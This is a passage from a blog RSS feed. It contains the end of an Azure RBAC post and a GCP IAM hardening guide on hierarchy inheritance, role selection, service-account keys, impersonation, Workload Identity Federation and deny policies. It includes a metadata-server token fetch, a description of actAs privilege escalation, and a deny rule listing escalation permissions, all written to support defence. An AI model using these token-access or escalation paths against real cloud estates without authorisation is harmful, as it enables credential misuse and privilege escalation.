<td>Domain 3 — Security Architecture</td>
<td>Entra ID spans Azure, M365, and third-party SaaS — scope boundaries determine the blast radius of a compromise</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Azure RBAC role definitions and assignments implement access control policy</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.16 Identity management</td>
<td>Entra ID is the identity management platform — user lifecycle, group management, application registrations</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.2 Privileged access rights</td>
<td>PIM (Privileged Identity Management) directly implements JIT controls for privileged roles</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>Role assignment scoping, managed identity provisioning, federated credential lifecycle</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Managed identities and RBAC are the primary technical controls for CC6.1 in Azure-hosted environments</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.3</td>
<td>PIM activation expiry and access reviews directly satisfy time-bound access removal requirements</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Entra ID and Azure RBAC are separate authorization planes — Entra ID roles control the identity system; RBAC roles control Azure resources. Global Administrator doesn&#8217;t grant VM access.</li>
<li>Use managed identities for all Azure-hosted workloads — system-assigned for one-to-one, user-assigned for shared identities across multiple resources</li>
<li><code class="" data-line="">Contributor</code> is the right role for most service identities — full resource management without RBAC modification ability</li>
<li>The control/data plane split (<code class="" data-line="">Actions</code> vs <code class="" data-line="">DataActions</code>) in role definitions means you can grant management access without data access or vice versa — use this</li>
<li>PIM should govern all Entra ID privileged roles and high-scope Azure roles — nobody should permanently hold Global Admin or Subscription Owner</li>
<li>Federated identity credentials replace service principal secrets for external workloads — no secrets stored in CI/CD systems</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP07 goes cross-cloud: workload identity federation — the shift away from static credentials entirely, with IRSA for EKS, GKE Workload Identity, AKS workload identity, and GitHub Actions-to-all-three-clouds patterns.</p>
<p><em>Next: <a href="/workload-identity-oidc-service-accounts/">OIDC Workload Identity</a> — Eliminate Cloud Access Keys Entirely.</em></p>
<p>Get EP07 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe/">subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fazure-rbac-entra-id-guide%2F&amp;linkname=Azure%20RBAC%20Explained%3A%20Management%20Groups%2C%20Subscriptions%2C%20and%20Scope" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fazure-rbac-entra-id-guide%2F&amp;linkname=Azure%20RBAC%20Explained%3A%20Management%20Groups%2C%20Subscriptions%2C%20and%20Scope" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fazure-rbac-entra-id-guide%2F&amp;linkname=Azure%20RBAC%20Explained%3A%20Management%20Groups%2C%20Subscriptions%2C%20and%20Scope" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fazure-rbac-entra-id-guide%2F&amp;linkname=Azure%20RBAC%20Explained%3A%20Management%20Groups%2C%20Subscriptions%2C%20and%20Scope" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fazure-rbac-entra-id-guide%2F&amp;linkname=Azure%20RBAC%20Explained%3A%20Management%20Groups%2C%20Subscriptions%2C%20and%20Scope" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fazure-rbac-entra-id-guide%2F&amp;linkname=Azure%20RBAC%20Explained%3A%20Management%20Groups%2C%20Subscriptions%2C%20and%20Scope" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fazure-rbac-entra-id-guide%2F&amp;linkname=Azure%20RBAC%20Explained%3A%20Management%20Groups%2C%20Subscriptions%2C%20and%20Scope" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fazure-rbac-entra-id-guide%2F&#038;title=Azure%20RBAC%20Explained%3A%20Management%20Groups%2C%20Subscriptions%2C%20and%20Scope" data-a2a-url="https://linuxcent.com/azure-rbac-entra-id-guide/" data-a2a-title="Azure RBAC Explained: Management Groups, Subscriptions, and Scope"></a></p><p>The post <a href="https://linuxcent.com/azure-rbac-entra-id-guide/">Azure RBAC Explained: Management Groups, Subscriptions, and Scope</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/azure-rbac-entra-id-guide/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1479</post-id>	</item>
		<item>
		<title>GCP IAM Policy Inheritance: How the Resource Hierarchy Controls Access</title>
		<link>https://linuxcent.com/gcp-iam-deep-dive/</link>
					<comments>https://linuxcent.com/gcp-iam-deep-dive/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Wed, 15 Apr 2026 18:06:02 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[GCP IAM]]></category>
		<category><![CDATA[GCP Security]]></category>
		<category><![CDATA[Google Cloud IAM]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Service Accounts]]></category>
		<category><![CDATA[Workload Identity]]></category>
		<guid isPermaLink="false">https://linuxcent.com/gcp-iam-deep-dive/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span>GCP IAM explained: resource hierarchy, predefined vs custom roles, service accounts, workload identity federation, and why the inheritance model changes access control.</p>
<p>The post <a href="https://linuxcent.com/gcp-iam-deep-dive/">GCP IAM Policy Inheritance: How the Resource Hierarchy Controls Access</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <strong>GCP Resource Hierarchy IAM</strong> → <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>GCP IAM bindings inherit downward — a binding at Organization or Folder level applies to every project and resource beneath it</li>
<li>Basic roles (<code class="" data-line="">viewer</code>/<code class="" data-line="">editor</code>/<code class="" data-line="">owner</code>) are legacy constructs; use predefined or custom roles in production</li>
<li>Service account keys are a long-lived credential antipattern — use ADC, impersonation, or Workload Identity Federation instead</li>
<li><code class="" data-line="">allAuthenticatedUsers</code> bindings expose resources to any of 3 billion Google accounts — audit for these in every environment</li>
<li><code class="" data-line="">iam.serviceAccounts.actAs</code> is the GCP equivalent of AWS <code class="" data-line="">iam:PassRole</code> — a direct privilege escalation vector</li>
<li>Conditional bindings with time-bound expiry eliminate &#8220;I&#8217;ll remember to remove this&#8221; as an operational pattern</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">                GCP IAM Inheritance Model
─────────────────────────────────────────────────────────
Organization (company.com)
│
├─ IAM binding at Org level ──────────────────┐
│                                             │ inherits down
├── Folder: Production                        ▼
│   │                                 ALL nodes below
│   ├── Folder: Shared-Services
│   │       └── Project: infra-core
│   │               ├── GCS: config-bucket  ← affected
│   │               └── Secret Manager      ← affected
│   │
│   └── Project: prod-web-app
│           ├── GCS: prod-assets             ← affected
│           ├── Cloud SQL: prod-db           ← affected
│           └── BigQuery: analytics          ← affected
│
└── Folder: Development                      ← NOT affected by
        └── Project: dev-app                    Production binding
</code></pre>
<p>GCP resource hierarchy IAM inheritance is the mechanism that makes a single binding cascade through an entire estate. It&#8217;s also the reason high-level bindings carry far more blast radius than they appear to.</p>
<hr />
<h2 id="introduction">Introduction</h2>
<p>GCP resource hierarchy IAM operates on one rule: bindings propagate downward. Grant access at the Organization level and it applies to every Folder, every Project, and every resource in your GCP estate. Grant it at a Folder and it applies to every Project below. This is by design — and it&#8217;s the reason IAM misconfigurations in GCP can have a blast radius that teams migrating from AWS don&#8217;t anticipate.</p>
<p>I once inherited a GCP environment where the previous team had taken what they thought was a shortcut. They had a folder called <code class="" data-line="">Production</code> with twelve projects in it. Rather than grant developers access to each project individually, they bound <code class="" data-line="">roles/editor</code> at the folder level. One binding, twelve projects, all covered. Fast.</p>
<p>When I audited what <code class="" data-line="">roles/editor</code> on that folder actually meant, I found it gave every developer in that binding write access to Cloud SQL databases they&#8217;d never heard of, BigQuery datasets from other teams, Pub/Sub topics in shared services, and Cloud Storage buckets that held data exports. Not because anyone intended that. Because permissions in GCP flow downward through the hierarchy, and a broad role at a high level means a broad role everywhere below it.</p>
<p>The developer who made that binding understood &#8220;Editor means edit access.&#8221; They didn&#8217;t think through what &#8220;edit access at the folder level&#8221; means across twelve projects. This is the GCP IAM trap that catches teams coming from AWS: the hierarchy feels like an organizational convenience feature, not an access control mechanism. It&#8217;s both.</p>
<hr />
<h2 id="the-resource-hierarchy-not-just-org-structure">The Resource Hierarchy — Not Just Org Structure</h2>
<p>GCP&#8217;s resource hierarchy is the backbone of its IAM model:</p>
<pre><code class="" data-line="">Organization  (e.g., company.com)
  └── Folder  (e.g., Production, Development, Shared-Services)
        └── Folder  (nested, optional — up to 10 levels)
              └── Project  (unit of resource ownership and billing)
                    └── Resource  (GCE instance, GCS bucket, Cloud SQL, BigQuery, etc.)
</code></pre>
<p>The critical rule: <strong>IAM bindings at any level inherit downward to every node below</strong>.</p>
<pre><code class="" data-line="">Org IAM binding:
  alice@company.com → roles/viewer (org-level)
    ↓ inherited by
  Folder: Production
    ↓ inherited by
  Project: prod-web-app
    ↓ inherited by
  GCS bucket &quot;prod-assets&quot;

Result: alice can list and read resources across the ENTIRE org,
        across every folder, every project, every resource.
        Even if none of those resources have a direct binding for alice.
</code></pre>
<p><code class="" data-line="">roles/viewer</code> at the org level sounds benign — it&#8217;s just read access. But read access to everything in the organization, including infrastructure configurations, customer data exports in GCS, BigQuery analytics, Cloud SQL connection details, and Kubernetes cluster configs. Not benign.</p>
<p>Before making any binding above the project level, trace it down. Ask: what does this role grant, and at every project and resource below this folder, am I comfortable with that?</p>
<pre><code class="" data-line=""># Understand your org structure before making changes
gcloud organizations list

gcloud resource-manager folders list --organization=ORG_ID

gcloud projects list --filter=&quot;parent.id=FOLDER_ID&quot;

# See all existing bindings at the org level — do this regularly
gcloud organizations get-iam-policy ORG_ID --format=json | jq &#039;.bindings[]&#039;
</code></pre>
<hr />
<h2 id="member-types-who-can-hold-a-binding">Member Types — Who Can Hold a Binding</h2>
<p>GCP uses the term <strong>member</strong> (being renamed to <strong>principal</strong>) for the identity in a binding:</p>
<table>
<thead>
<tr>
<th>Member Type</th>
<th>Format</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Google Account</td>
<td><code class="" data-line="">user:alice@company.com</code></td>
<td>Individual Google/Workspace account</td>
</tr>
<tr>
<td>Service Account</td>
<td><code class="" data-line="">serviceAccount:sa@project.iam.gserviceaccount.com</code></td>
<td>Machine identity</td>
</tr>
<tr>
<td>Google Group</td>
<td><code class="" data-line="">group:team@company.com</code></td>
<td>Workspace group</td>
</tr>
<tr>
<td>Workspace Domain</td>
<td><code class="" data-line="">domain:company.com</code></td>
<td>All users in a Workspace domain</td>
</tr>
<tr>
<td>All Authenticated</td>
<td><code class="" data-line="">allAuthenticatedUsers</code></td>
<td>Any authenticated Google identity — extremely broad</td>
</tr>
<tr>
<td>All Users</td>
<td><code class="" data-line="">allUsers</code></td>
<td>Anonymous + authenticated — public access</td>
</tr>
<tr>
<td>Workload Identity</td>
<td><code class="" data-line="">principal://iam.googleapis.com/...</code></td>
<td>External workloads via WIF</td>
</tr>
</tbody>
</table>
<p>The ones that have caused data exposure incidents: <code class="" data-line="">allAuthenticatedUsers</code> and <code class="" data-line="">allUsers</code>. Any GCS bucket or GCP resource bound to <code class="" data-line="">allAuthenticatedUsers</code> is accessible to any of the ~3 billion Google accounts in existence. I have seen production customer data exposed this way. A developer testing a public CDN pattern applied the binding to the wrong bucket.</p>
<p>Audit for these regularly:</p>
<pre><code class="" data-line=""># Find any project-level binding with allUsers or allAuthenticatedUsers
gcloud projects get-iam-policy my-project --format=json \
  | jq &#039;.bindings[] | select(.members[] | contains(&quot;allUsers&quot;) or contains(&quot;allAuthenticatedUsers&quot;))&#039;

# Check all GCS buckets in a project for public access
gsutil iam get gs://BUCKET_NAME \
  | grep -E &quot;(allUsers|allAuthenticatedUsers)&quot;
</code></pre>
<hr />
<h2 id="role-types-choose-the-right-granularity">Role Types — Choose the Right Granularity</h2>
<h3 id="basic-primitive-roles-dont-use-in-production">Basic (Primitive) Roles — Don&#8217;t Use in Production</h3>
<pre><code class="" data-line="">roles/viewer   → read access to most resources across the entire project
roles/editor   → read + write to most resources
roles/owner    → full access including IAM management
</code></pre>
<p>These are legacy roles from before GCP had service-specific roles. <code class="" data-line="">roles/editor</code> is particularly dangerous because it grants write access across almost every GCP service in the project. Use it in production and you have no meaningful separation of duties between your services.</p>
<p>I&#8217;ve seen <code class="" data-line="">roles/editor</code> granted to a data pipeline service account because &#8220;it needed access to BigQuery, Cloud Storage, and Pub/Sub.&#8221; All three of those have predefined roles. Three specific bindings. Instead: one broad role that also grants access to Cloud SQL, Kubernetes, Secret Manager, and Compute Engine — none of which the pipeline needed.</p>
<h3 id="predefined-roles-the-default-correct-choice">Predefined Roles — The Default Correct Choice</h3>
<p>Service-specific roles managed and updated by Google. For most use cases, these are the right choice:</p>
<pre><code class="" data-line=""># Find predefined roles for Cloud Storage
gcloud iam roles list --filter=&quot;name:roles/storage&quot; --format=&quot;table(name,title)&quot;
# roles/storage.objectViewer   — read objects (not list buckets)
# roles/storage.objectCreator  — create objects, cannot read or delete
# roles/storage.objectAdmin    — full object control
# roles/storage.admin          — full bucket + object control (much broader)

# See exactly what permissions a predefined role includes
gcloud iam roles describe roles/storage.objectViewer
</code></pre>
<p>The distinction between <code class="" data-line="">roles/storage.objectViewer</code> and <code class="" data-line="">roles/storage.admin</code> is the difference between &#8220;can read objects&#8221; and &#8220;can read objects, create objects, delete objects, and modify bucket IAM policies.&#8221; Use the narrowest role that covers the actual need.</p>
<h3 id="custom-roles-when-predefined-is-still-too-broad">Custom Roles — When Predefined Is Still Too Broad</h3>
<p>When you need finer control than any predefined role offers, create a custom role:</p>
<pre><code class="" data-line="">cat &gt; custom-log-reader.yaml &lt;&lt; &#039;EOF&#039;
title: &quot;Log Reader&quot;
description: &quot;Read application logs from Cloud Logging — nothing else&quot;
stage: &quot;GA&quot;
includedPermissions:
  - logging.logEntries.list
  - logging.logs.list
  - logging.logMetrics.get
  - logging.logMetrics.list
EOF

# Create at project level (available within one project)
gcloud iam roles create LogReader \
  --project=my-project \
  --file=custom-log-reader.yaml

# Or at org level (reusable across projects in the org)
gcloud iam roles create LogReader \
  --organization=ORG_ID \
  --file=custom-log-reader.yaml

# Grant the custom role
gcloud projects add-iam-policy-binding my-project \
  --member=&quot;serviceAccount:log-reader@my-project.iam.gserviceaccount.com&quot; \
  --role=&quot;projects/my-project/roles/LogReader&quot;
</code></pre>
<p>Custom roles have an operational overhead: when Google adds new permissions to a service, predefined roles are updated automatically. Custom roles are not — you have to update them manually. For roles like &#8220;Log Reader&#8221; that are unlikely to need new permissions, this isn&#8217;t a concern. For roles like &#8220;App Admin&#8221; that span many services, it becomes a maintenance burden.</p>
<hr />
<h2 id="iam-policy-bindings-how-access-is-actually-granted">IAM Policy Bindings — How Access Is Actually Granted</h2>
<p>The mechanism for granting access in GCP is adding a binding to a resource&#8217;s IAM policy. A binding is: <code class="" data-line="">member + role + (optional condition)</code>.</p>
<pre><code class="" data-line=""># Grant a role on a project (all resources in the project inherit this)
gcloud projects add-iam-policy-binding my-project \
  --member=&quot;user:alice@company.com&quot; \
  --role=&quot;roles/storage.objectViewer&quot;

# Grant on a specific GCS bucket (narrower — only this bucket)
gcloud storage buckets add-iam-policy-binding gs://prod-assets \
  --member=&quot;serviceAccount:app@my-project.iam.gserviceaccount.com&quot; \
  --role=&quot;roles/storage.objectViewer&quot;

# Grant on a specific BigQuery dataset
bq update --add_iam_policy_binding \
  --member=&quot;group:analysts@company.com&quot; \
  --role=&quot;roles/bigquery.dataViewer&quot; \
  my-project:analytics_dataset

# View the current IAM policy on a project
gcloud projects get-iam-policy my-project --format=json

# View a specific resource&#039;s policy
gcloud storage buckets get-iam-policy gs://prod-assets
</code></pre>
<p>The choice between project-level and resource-level binding has real consequences. A binding on the GCS bucket affects only that bucket. A binding at the project level affects the bucket AND every other resource in the project. In practice, default to the most specific scope available. Only move up the hierarchy when the alternative is an unmanageable number of bindings.</p>
<h3 id="conditional-bindings-time-limited-and-context-scoped-access">Conditional Bindings — Time-Limited and Context-Scoped Access</h3>
<p>Conditions scope when a binding applies. They use CEL (Common Expression Language):</p>
<pre><code class="" data-line=""># Temporary access for a contractor — automatically expires
gcloud projects add-iam-policy-binding my-project \
  --member=&quot;user:contractor@external.com&quot; \
  --role=&quot;roles/storage.objectViewer&quot; \
  --condition=&quot;expression=request.time &lt; timestamp(&#039;2026-06-30T00:00:00Z&#039;),title=Contractor access Q2 2026&quot;

# Access only from corporate network
gcloud projects add-iam-policy-binding my-project \
  --member=&quot;user:alice@company.com&quot; \
  --role=&quot;roles/bigquery.admin&quot; \
  --condition=&quot;expression=request.origin.ip.startsWith(&#039;10.0.&#039;),title=Corp network only&quot;
</code></pre>
<p>Temporary access that automatically expires is one of the most practical applications of conditional bindings. Instead of &#8220;I&#8217;ll grant access and remember to remove it,&#8221; you set an expiry and it removes itself. The cognitive overhead of tracking temporary grants doesn&#8217;t disappear — you still need to know the grant exists — but the risk of it outliving its purpose drops significantly.</p>
<hr />
<h2 id="service-accounts-gcps-machine-identity">Service Accounts — GCP&#8217;s Machine Identity</h2>
<p>Service accounts are the machine identity in GCP. They should be used for every workload that needs to call GCP APIs — GCE instances, GKE pods, Cloud Functions, Cloud Run services.</p>
<pre><code class="" data-line=""># Create a service account
gcloud iam service-accounts create app-backend \
  --display-name=&quot;App Backend Service Account&quot; \
  --project=my-project

SA_EMAIL=&quot;app-backend@my-project.iam.gserviceaccount.com&quot;

# Grant it the specific role it needs — on the specific resource it needs
gcloud storage buckets add-iam-policy-binding gs://app-assets \
  --member=&quot;serviceAccount:${SA_EMAIL}&quot; \
  --role=&quot;roles/storage.objectViewer&quot;

# Attach to a GCE instance
gcloud compute instances create my-vm \
  --service-account=&quot;${SA_EMAIL}&quot; \
  --scopes=&quot;cloud-platform&quot; \
  --zone=us-central1-a
</code></pre>
<p>From inside the VM, Application Default Credentials (ADC) handles authentication automatically:</p>
<pre><code class="" data-line=""># From the VM — ADC uses the attached SA without any credential configuration
gcloud auth application-default print-access-token

# Or via the metadata server directly
curl -H &quot;Metadata-Flavor: Google&quot; \
  &quot;http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token&quot;
</code></pre>
<h3 id="service-account-keys-the-antipattern-to-avoid">Service Account Keys — The Antipattern to Avoid</h3>
<p>A service account key is a JSON file containing a private key. It&#8217;s long-lived, it doesn&#8217;t expire automatically, and if it leaks it gives an attacker persistent access as that service account until someone discovers and revokes it.</p>
<pre><code class="" data-line=""># Creating a key — only if there is genuinely no alternative
gcloud iam service-accounts keys create key.json --iam-account=&quot;${SA_EMAIL}&quot;
# This generates a long-lived credential. It will exist until explicitly deleted.

# List all active keys — do this in every audit
gcloud iam service-accounts keys list --iam-account=&quot;${SA_EMAIL}&quot;

# Delete a key
gcloud iam service-accounts keys delete KEY_ID --iam-account=&quot;${SA_EMAIL}&quot;
</code></pre>
<p>In the GCP environment I mentioned earlier — the one with <code class="" data-line="">roles/editor</code> at the folder level — I also found 23 service account key files downloaded across the team&#8217;s laptops over 18 months. Nobody had a complete list of which keys were still valid and where they were stored. Several were for accounts that no longer existed. That&#8217;s not a hypothetical attack surface. It&#8217;s a breach waiting for a laptop to be stolen.</p>
<p><strong>Never create service account keys when:</strong><br />
&#8211; Code runs on GCE/GKE/Cloud Run/Cloud Functions — use the attached service account and ADC<br />
&#8211; Code runs in GitHub Actions — use Workload Identity Federation<br />
&#8211; Code runs on-premises with Kubernetes — use Workload Identity Federation with OIDC</p>
<h3 id="service-account-impersonation-the-right-alternative-to-keys">Service Account Impersonation — The Right Alternative to Keys</h3>
<p>Instead of downloading a key, grant a user or service account permission to impersonate the service account. They generate a short-lived token, not a permanent credential:</p>
<pre><code class="" data-line=""># Allow alice to impersonate the service account
gcloud iam service-accounts add-iam-policy-binding &quot;${SA_EMAIL}&quot; \
  --member=&quot;user:alice@company.com&quot; \
  --role=&quot;roles/iam.serviceAccountTokenCreator&quot;

# Alice generates a token for the SA — no key file, short-lived
gcloud auth print-access-token --impersonate-service-account=&quot;${SA_EMAIL}&quot;

# Or configure ADC to use impersonation
export GOOGLE_IMPERSONATE_SERVICE_ACCOUNT=&quot;${SA_EMAIL}&quot;
gcloud storage ls gs://app-assets  # runs as the SA
</code></pre>
<p>This is the right model for humans who need to act as service accounts for debugging or deployment: impersonate, use, done. The token expires. No file to manage.</p>
<hr />
<h2 id="workload-identity-federation-credentials-eliminated">Workload Identity Federation — Credentials Eliminated</h2>
<p>The cleanest solution for any workload running outside GCP that needs to call GCP APIs: Workload Identity Federation. The external workload authenticates with its native identity (a GitHub Actions OIDC JWT, an AWS IAM role, a Kubernetes service account token), exchanges it for a short-lived GCP access token, and never handles a service account key.</p>
<pre><code class="" data-line=""># Create a Workload Identity Pool
gcloud iam workload-identity-pools create &quot;github-actions-pool&quot; \
  --project=my-project \
  --location=global \
  --display-name=&quot;GitHub Actions WIF Pool&quot;

# Create a provider (GitHub OIDC)
gcloud iam workload-identity-pools providers create-oidc &quot;github-provider&quot; \
  --project=my-project \
  --location=global \
  --workload-identity-pool=&quot;github-actions-pool&quot; \
  --issuer-uri=&quot;https://token.actions.githubusercontent.com&quot; \
  --attribute-mapping=&quot;google.subject=assertion.sub,attribute.repository=assertion.repository&quot; \
  --attribute-condition=&quot;assertion.repository_owner == &#039;my-org&#039;&quot;

# Allow a specific GitHub repo to impersonate the SA
gcloud iam service-accounts add-iam-policy-binding &quot;${SA_EMAIL}&quot; \
  --role=&quot;roles/iam.workloadIdentityUser&quot; \
  --member=&quot;principalSet://iam.googleapis.com/projects/PROJECT_NUM/locations/global/workloadIdentityPools/github-actions-pool/attribute.repository/my-org/my-repo&quot;
</code></pre>
<p>GitHub Actions workflow — no key files, no secrets stored in GitHub:</p>
<pre><code class="" data-line="">jobs:
  deploy:
    permissions:
      id-token: write   # required for OIDC token request
      contents: read
    steps:
      - uses: google-github-actions/auth@v2
        with:
          workload_identity_provider: &quot;projects/PROJECT_NUM/locations/global/workloadIdentityPools/github-actions-pool/providers/github-provider&quot;
          service_account: &quot;app-backend@my-project.iam.gserviceaccount.com&quot;

      - run: gcloud storage cp dist/ gs://app-assets/ --recursive
</code></pre>
<p>The OIDC JWT from GitHub is presented to GCP, which verifies it against GitHub&#8217;s public keys, checks the attribute mapping and condition (only the specified repo can use this), and issues a short-lived GCP access token. The credential exists for the duration of the job and is then gone.</p>
<hr />
<h2 id="iam-deny-policies-org-wide-guardrails">IAM Deny Policies — Org-Wide Guardrails</h2>
<p>GCP added standalone deny policies separate from bindings. They override grants:</p>
<pre><code class="" data-line="">cat &gt; deny-iam-escalation.json &lt;&lt; &#039;EOF&#039;
{
  &quot;displayName&quot;: &quot;Deny IAM escalation permissions to non-admins&quot;,
  &quot;rules&quot;: [{
    &quot;denyRule&quot;: {
      &quot;deniedPrincipals&quot;: [&quot;principalSet://goog/group/developers@company.com&quot;],
      &quot;deniedPermissions&quot;: [
        &quot;iam.googleapis.com/roles.create&quot;,
        &quot;iam.googleapis.com/roles.update&quot;,
        &quot;iam.googleapis.com/serviceAccounts.actAs&quot;
      ]
    }
  }]
}
EOF

gcloud iam policies create deny-iam-escalation-policy \
  --attachment-point=&quot;cloudresourcemanager.googleapis.com/projects/my-project&quot; \
  --policy-file=deny-iam-escalation.json
</code></pre>
<p><code class="" data-line="">iam.serviceAccounts.actAs</code> is worth calling out specifically. It&#8217;s the GCP equivalent of AWS&#8217;s <code class="" data-line="">iam:PassRole</code> — it allows an identity to make a service act as a specified service account. If a developer can call <code class="" data-line="">actAs</code> on a high-privileged service account, they can launch a GCE instance using that service account and then operate with its permissions. Same privilege escalation pattern as <code class="" data-line="">iam:PassRole</code>, different name. Deny it for anyone who doesn&#8217;t explicitly need it.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong><code class="" data-line="">roles/editor</code> at folder level is a blast radius waiting to happen</strong><br />
The role sounds like &#8220;edit access.&#8221; At folder level it means edit access to every service in every project under that folder — including services nobody thought to trace. Always scope to the specific project or resource, never a folder unless the use case explicitly requires it.</p>
<p><strong><code class="" data-line="">allAuthenticatedUsers</code> on a GCS bucket is public to 3 billion accounts</strong><br />
Any Google account — personal Gmail included — qualifies as &#8220;authenticated.&#8221; I&#8217;ve seen production customer data exposed this way while a developer tested a CDN pattern on the wrong bucket. Audit for these bindings before they become a breach notification.</p>
